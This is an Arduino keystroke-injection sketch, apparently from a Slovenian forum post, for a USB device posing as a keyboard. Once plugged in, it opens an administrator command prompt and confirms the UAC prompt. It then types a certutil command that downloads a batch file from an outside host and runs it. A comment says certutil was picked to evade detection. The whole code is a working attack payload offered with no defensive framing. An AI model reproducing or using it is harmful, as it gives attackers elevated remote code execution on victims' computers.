Code:
#include <Keyboard.h>
void setup() {
delay(10000);
Keyboard.begin();
// Open Run dialog as administrator
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press('r');
Keyboard.releaseAll();
delay(2000);
// Type "cmd" and press Ctrl+Shift+Enter to run as administrator
Keyboard.print("cmd");
Keyboard.press(KEY_LEFT_CTRL);
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(5000);
// Handle UAC prompt - press Enter to confirm
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
delay(5000);
// Use certutil for download (less likely to be detected)
Keyboard.print("certutil -urlcache -split -f http");
// Add 's' for https if needed
// Keyboard.write('s');
// : (shift + .)
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write('.');
Keyboard.releaseAll();
// / (shift + 7) twice
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write('7');
Keyboard.releaseAll();
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write('7');
Keyboard.releaseAll();
// test01.si - type z to get y
Keyboard.print("t"); // t
Keyboard.write('e'); // e
Keyboard.print("s"); // s
Keyboard.write('t'); // t
Keyboard.write('0'); // 0
Keyboard.print("1"); // 1
Keyboard.write('.'); // .
Keyboard.print("s"); // s
Keyboard.write('i'); // i
// / (shift + 7)
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write('7');
Keyboard.releaseAll();
Keyboard.print("bnet");
// / (shift + 7)
Keyboard.press(KEY_LEFT_SHIFT);
Keyboard.write('7');
Keyboard.releaseAll();
Keyboard.print("cmd.txt cmd.bat && cmd.bat");
Keyboard.press(KEY_RETURN);
Keyboard.releaseAll();
Keyboard.end();
}
void loop() {}
Viri:
Komentarji (1)
Za komentiranje se prosimo prijavite. Prijava ali Registracija.